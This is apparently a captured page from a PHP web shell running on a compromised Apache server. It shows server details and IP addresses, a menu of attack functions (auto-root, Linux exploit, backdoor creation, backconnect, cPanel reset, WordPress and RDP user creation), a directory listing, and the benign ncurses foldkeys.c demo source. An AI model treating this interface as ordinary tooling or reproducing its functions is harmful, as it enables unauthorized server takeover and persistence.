Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.15.206.81
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ncurses-devel-5.9 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
package
[ DIR ]
drwxr-xr-x
Makefile.in
4.92
KB
-rw-r--r--
README
35.89
KB
-rw-r--r--
aclocal.m4
108.83
KB
-rw-r--r--
background.c
6.84
KB
-rw-r--r--
blue.c
12.4
KB
-rw-r--r--
bs.6
3.91
KB
-rw-r--r--
bs.c
29.95
KB
-rw-r--r--
bulgarian-utf8.txt
340
B
-rw-r--r--
cardfile.c
13.26
KB
-rw-r--r--
cardfile.dat
394
B
-rw-r--r--
chgat.c
9.03
KB
-rw-r--r--
clip_printw.c
9.1
KB
-rw-r--r--
color_name.h
3.32
KB
-rw-r--r--
color_set.c
3.25
KB
-rw-r--r--
configure
449.42
KB
-rw-r--r--
configure.in
9.57
KB
-rw-r--r--
demo_altkeys.c
4.77
KB
-rw-r--r--
demo_defkey.c
7.4
KB
-rw-r--r--
demo_forms.c
13.01
KB
-rw-r--r--
demo_keyok.c
3.24
KB
-rw-r--r--
demo_menus.c
18.74
KB
-rw-r--r--
demo_panels.c
16.89
KB
-rw-r--r--
demo_termcap.c
10.09
KB
-rw-r--r--
demo_terminfo.c
10.05
KB
-rw-r--r--
ditto.c
11.04
KB
-rw-r--r--
dots.c
4.52
KB
-rw-r--r--
dots_mvcur.c
4.66
KB
-rw-r--r--
echochar.c
4.35
KB
-rw-r--r--
edit_field.c
11.21
KB
-rw-r--r--
edit_field.h
2.57
KB
-rw-r--r--
filter.c
4.97
KB
-rw-r--r--
firework.c
5.53
KB
-rw-r--r--
firstlast.c
3.72
KB
-rw-r--r--
foldkeys.c
7.44
KB
-rw-r--r--
gdc.6
3.03
KB
-rw-r--r--
gdc.c
8.74
KB
-rw-r--r--
hanoi.c
8.58
KB
-rw-r--r--
hashtest.c
6.58
KB
-rw-r--r--
inch_wide.c
7.21
KB
-rw-r--r--
inchs.c
7.15
KB
-rw-r--r--
ins_wide.c
12.25
KB
-rw-r--r--
insdelln.c
9.16
KB
-rw-r--r--
inserts.c
10.62
KB
-rw-r--r--
install-sh
6.96
KB
-rw-r--r--
key_names.c
3.22
KB
-rw-r--r--
keynames.c
3.07
KB
-rw-r--r--
knight.c
18.54
KB
-rw-r--r--
linedata.h
3.16
KB
-rw-r--r--
linux-color.dat
2.56
KB
-rw-r--r--
listused.sh
5.46
KB
-rw-r--r--
lrtest.c
5.24
KB
-rw-r--r--
make-tar.sh
4.8
KB
-rw-r--r--
mk-test.awk
4.42
KB
-rw-r--r--
modules
5.07
KB
-rw-r--r--
movewindow.c
16.44
KB
-rw-r--r--
ncurses.c
154.98
KB
-rw-r--r--
ncurses_tst.hin
2.88
KB
-rw-r--r--
newdemo.c
7.38
KB
-rw-r--r--
programs
5.28
KB
-rw-r--r--
railroad.c
5.66
KB
-rw-r--r--
rain.c
8.44
KB
-rw-r--r--
redraw.c
4.66
KB
-rw-r--r--
savescreen.c
7.49
KB
-rw-r--r--
savescreen.sh
2.66
KB
-rw-r--r--
tclock.c
5.26
KB
-rw-r--r--
test.priv.h
19.55
KB
-rw-r--r--
test_add_wchstr.c
14.08
KB
-rw-r--r--
test_addchstr.c
12.14
KB
-rw-r--r--
test_addstr.c
10.3
KB
-rw-r--r--
test_addwstr.c
12.37
KB
-rw-r--r--
test_arrays.c
3.83
KB
-rw-r--r--
test_get_wstr.c
8.94
KB
-rw-r--r--
test_getstr.c
8.88
KB
-rw-r--r--
test_instr.c
6.49
KB
-rw-r--r--
test_inwstr.c
6.69
KB
-rw-r--r--
test_opaque.c
10.42
KB
-rw-r--r--
test_vid_puts.c
3.97
KB
-rw-r--r--
test_vidputs.c
3.92
KB
-rw-r--r--
testaddch.c
3.46
KB
-rw-r--r--
testcurs.c
16.69
KB
-rw-r--r--
testscanw.c
2.88
KB
-rw-r--r--
tracemunch
5.01
KB
-rw-r--r--
view.c
13.84
KB
-rw-r--r--
widechars-utf8.txt
389
B
-rw-r--r--
widechars.h
3.19
KB
-rw-r--r--
worm.c
14.01
KB
-rw-r--r--
xmas.c
33.47
KB
-rw-r--r--
xterm-16color.dat
2.99
KB
-rw-r--r--
xterm-256color.dat
6.88
KB
-rw-r--r--
xterm-88color.dat
4.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : foldkeys.c
/**************************************************************************** * Copyright (c) 2006 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /* * Author: Thomas E. Dickey, 2006 * * $Id: foldkeys.c,v 1.4 2010/11/14 01:00:53 tom Exp $ * * Demonstrate a method for altering key definitions at runtime. * * This program reads the key definitions, merging those which have xterm-style * modifiers into their equivalents which have no modifiers. It does this * merging only for the keys which are defined in the terminal description. */ #include <test.priv.h> #if defined(NCURSES_VERSION) && NCURSES_EXT_FUNCS #if TIME_WITH_SYS_TIME # include <sys/time.h> # include <time.h> #else # if HAVE_SYS_TIME_H # include <sys/time.h> # else # include <time.h> # endif #endif #define MY_LOGFILE "demo_foldkeys.log" #define MY_KEYS (KEY_MAX + 1) /* * Log the most recently-written line to our logfile */ static void log_last_line(WINDOW *win) { FILE *fp; int y, x, n; char temp[256]; if ((fp = fopen(MY_LOGFILE, "a")) != 0) { int need = sizeof(temp) - 1; if (need > COLS) need = COLS; getyx(win, y, x); wmove(win, y - 1, 0); n = winnstr(win, temp, need); while (n-- > 0) { if (isspace(UChar(temp[n]))) temp[n] = '\0'; else break; } wmove(win, y, x); fprintf(fp, "%s\n", temp); fclose(fp); } } /* * ncurses has no API for telling what the actual last key-code is. That is * a secret because the codes past KEY_MAX are computed at run-time and may * differ depending on the previous calls to newterm(), etc. It is unlikely * that one could have more than a thousand key definitions... */ #define MAX_KEYS 2000 typedef struct { const char *name; const char *value; int code; int state; } KeyInfo; static void demo_foldkeys(void) { KeyInfo info[MAX_KEYS]; int info_len = 0; int merged = 0; int code; int j, k; /* * Tell ncurses that we want to use function keys. That will make it add * any user-defined keys that appear in the terminfo. */ keypad(stdscr, TRUE); /* * List the predefined keys using the strnames[] array. */ for (code = 0; code < STRCOUNT; ++code) { NCURSES_CONST char *name = strnames[code]; NCURSES_CONST char *value = tigetstr(name); if (value != 0 && value != (NCURSES_CONST char *) -1) { info[info_len].name = strnames[code]; info[info_len].code = key_defined(value); info[info_len].value = value; info[info_len].state = 0; if (info[info_len].code > 0) ++info_len; } } /* * We can get the names for user-defined keys from keyname(). It returns * a name like KEY_foo for the predefined keys, which tigetstr() does not * understand. */ for (code = KEY_MAX; code < MAX_KEYS; ++code) { NCURSES_CONST char *name = keyname(code); if (name != 0) { info[info_len].name = name; info[info_len].code = code; info[info_len].value = tigetstr(name); info[info_len].state = 0; ++info_len; } } printw("Initially %d key definitions\n", info_len); /* * Look for keys that have xterm-style modifiers. */ for (j = 0; j < info_len; ++j) { int first, second; char final[2]; char *value; if (info[j].state == 0 && sscanf(info[j].value, "\033[%d;%d%c", &first, &second, final) == 3 && *final != ';' && (value = strdup(info[j].value)) != 0) { sprintf(value, "\033[%d%c", first, *final); for (k = 0; k < info_len; ++k) { if (info[k].state == 0 && !strcmp(info[k].value, value)) { info[j].state = 1; break; } } if (info[j].state == 0) { sprintf(value, "\033O%c", *final); for (k = 0; k < info_len; ++k) { if (info[k].state == 0 && !strcmp(info[k].value, value)) { info[j].state = 1; break; } } } if (info[j].state == 1) { if ((define_key(info[j].value, info[k].code)) != ERR) { printw("map %s to %s\n", info[j].value, info[k].value); keyok(info[j].code, FALSE); ++merged; } else { printw("? cannot define_key %d:%s\n", j, info[j].value); } } else { printw("? cannot merge %d:%s\n", j, info[j].value); } free(value); } } printw("Merged to %d key definitions\n", info_len - merged); } int main(int argc GCC_UNUSED, char *argv[]GCC_UNUSED) { int ch; #if HAVE_GETTIMEOFDAY int secs, msecs; struct timeval current, previous; #endif unlink(MY_LOGFILE); newterm(0, stdout, stdin); (void) cbreak(); /* take input chars one at a time, no wait for \n */ (void) noecho(); /* don't echo input */ scrollok(stdscr, TRUE); keypad(stdscr, TRUE); move(0, 0); demo_foldkeys(); #if HAVE_GETTIMEOFDAY gettimeofday(&previous, 0); #endif while ((ch = getch()) != ERR) { bool escaped = (ch >= MY_KEYS); const char *name = keyname(escaped ? (ch - MY_KEYS) : ch); #if HAVE_GETTIMEOFDAY gettimeofday(¤t, 0); secs = (int) (current.tv_sec - previous.tv_sec); msecs = (int) ((current.tv_usec - previous.tv_usec) / 1000); if (msecs < 0) { msecs += 1000; --secs; } if (msecs >= 1000) { secs += msecs / 1000; msecs %= 1000; } printw("%6d.%03d ", secs, msecs); previous = current; #endif printw("Keycode %d, name %s%s\n", ch, escaped ? "ESC-" : "", name != 0 ? name : "<null>"); log_last_line(stdscr); clrtoeol(); if (ch == 'q') break; } endwin(); ExitProgram(EXIT_SUCCESS); } #else int main(void) { printf("This program requires the ncurses library\n"); ExitProgram(EXIT_FAILURE); } #endif
Close